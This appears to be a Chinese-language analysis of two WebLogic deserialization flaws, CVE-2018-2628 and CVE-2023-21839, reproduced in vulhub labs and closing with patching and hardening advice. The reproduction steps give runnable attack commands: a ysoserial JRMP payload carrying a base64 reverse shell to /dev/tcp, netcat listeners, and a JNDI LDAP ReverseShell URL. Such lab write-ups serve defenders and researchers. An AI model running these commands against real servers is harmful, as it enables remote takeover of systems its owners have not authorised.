Weblogic反序列化漏洞(CVE-2018-2628CVE-2023-21839)
字数 2260 2025-08-10 10:14:26
Weblogic反序列化漏洞(CVE-2018-2628/CVE-2023-21839) 技术分析文档
1. WebLogic中间件概述
WebLogic是美国Oracle公司出品的一个application server,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。主要特点包括:
- 基于JAVAEE架构的中间件
- 提供Java Enterprise Edition (EE)和Jakarta EE的实现
- 支持大型网络应用的开发、集成、部署和管理
2. CVE-2018-2628漏洞分析
2.1 漏洞描述
Weblogic Server中的RMI通信使用T3协议在Weblogic Server和其它Java程序之间传输数据。服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM),并创建T3协议通信连接。T3协议在开放WebLogic控制台端口的应用上默认开启。
攻击者可以通过T3协议发送恶意的反序列化数据,实现对存在漏洞的weblogic组件的远程代码执行攻击。具体表现为:
- 开放Weblogic控制台的7001端口默认开启T3协议服务
- T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞
- 攻击者可发送构造的恶意T3协议数据获取目标服务器权限
2.2 相关协议说明
-
T3协议:
- 用于在Weblogic服务器和其他Java程序之间传输信息
- 通过消除网络间的多个协议来最大化效率
- 最小化数据包大小,提高传输速度
-
RMI(远程方法调用):
- 允许在本地虚拟机上调用远端代码
- 实现了Java虚拟机的远程方法调用
-
JRMP(Java远程消息交换协议):
- 基于TCP/IP之上,RMI协议之下
- RMI默认使用JRMP传递数据
- JRMP协议只能作用于RMI协议
2.3 影响版本
- Oracle Weblogic Server 10.3.6.0.0
- Oracle Weblogic Server 12.1.3.0.0
- Oracle Weblogic Server 12.2.1.2.0
- Oracle Weblogic Server 12.2.1.3.0
2.4 漏洞复现
环境准备:
- 攻击机:Kali Linux
- 靶场环境:vulhub/weblogic/CVE-2018-2628
复现步骤:
-
目标识别:
nmap -sV 192.168.100.134确认开放7001端口及Weblogic服务
-
验证T3协议开启:
nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info -
准备攻击载荷:
- 使用ysoserial启动JRMP Server:
其中反弹shell命令base64编码前为:java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"sh -i >& /dev/tcp/192.168.100.1/9999 0>&1
- 使用ysoserial启动JRMP Server:
-
本地监听:
nc -lvnp 9999 -
发送攻击载荷:
python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.100.1 7777 JRMPClient -
验证攻击结果:
- 检查监听端是否收到shell
- 在目标服务器验证命令执行结果
2.5 修复方案
- 打上官方最新补丁
- 控制T3服务的访问权限(添加白名单)
- 禁用不必要的T3协议服务
3. CVE-2023-21839漏洞分析
3.1 漏洞描述
Weblogic允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup操作,当JDK版本过低或本地存在javaSerializedData时,可能导致RCE漏洞。具体表现为:
- Weblogic IIOP/T3协议存在缺陷
- 当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server
- 漏洞利用成功可能导致服务器被接管或敏感数据泄露
3.2 影响版本
- WebLogic_Server = 12.2.1.3.0
- WebLogic_Server = 12.2.1.4.0
- WebLogic_Server = 14.1.1.0.0
3.3 漏洞原理
这是一个Weblogic的JNDI注入漏洞:
- Weblogic t3/iiop协议支持远程绑定对象bind到服务端
- 可以通过lookup查看绑定的对象
- 当远程对象继承自OpaqueReference时,lookup会调用远程对象的getReferent方法
- weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现了getReferent方法
- getReferent方法中存在
retVal = context.lookup(this.remoteJNDIName)实现 - 可通过rmi/ldap远程协议进行远程命令执行
3.4 漏洞复现
环境准备:
- 攻击机:Kali Linux
- 靶场环境:vulhub/weblogic/CVE-2023-21839
复现步骤:
-
目标识别:
nmap -sV 192.168.100.134 -
验证T3协议开启:
nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info -
启动LDAP和HTTP服务:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 -
本地监听:
nc -lvnp 6666 -
执行攻击:
java -jar Weblogic-CVE-2023-21839.jar 192.168.100.134:7001 ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/6666注意:需要JDK8环境
-
验证攻击结果:
- 检查监听端是否收到shell
- 在目标服务器验证命令执行结果
3.5 修复方案
- 使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议
- 禁用IIOP协议
- 升级Weblogic版本,更新最新补丁
4. 总结
这两个Weblogic反序列化漏洞都涉及T3/IIOP协议的安全问题,攻击者可以利用这些漏洞实现远程代码执行,危害严重。管理员应及时采取防护措施,包括:
- 及时更新补丁
- 限制协议访问
- 加强网络边界防护
- 定期进行安全评估和漏洞扫描
对于安全研究人员,理解这些漏洞的原理和利用方式有助于更好地防御类似攻击,提高系统安全性。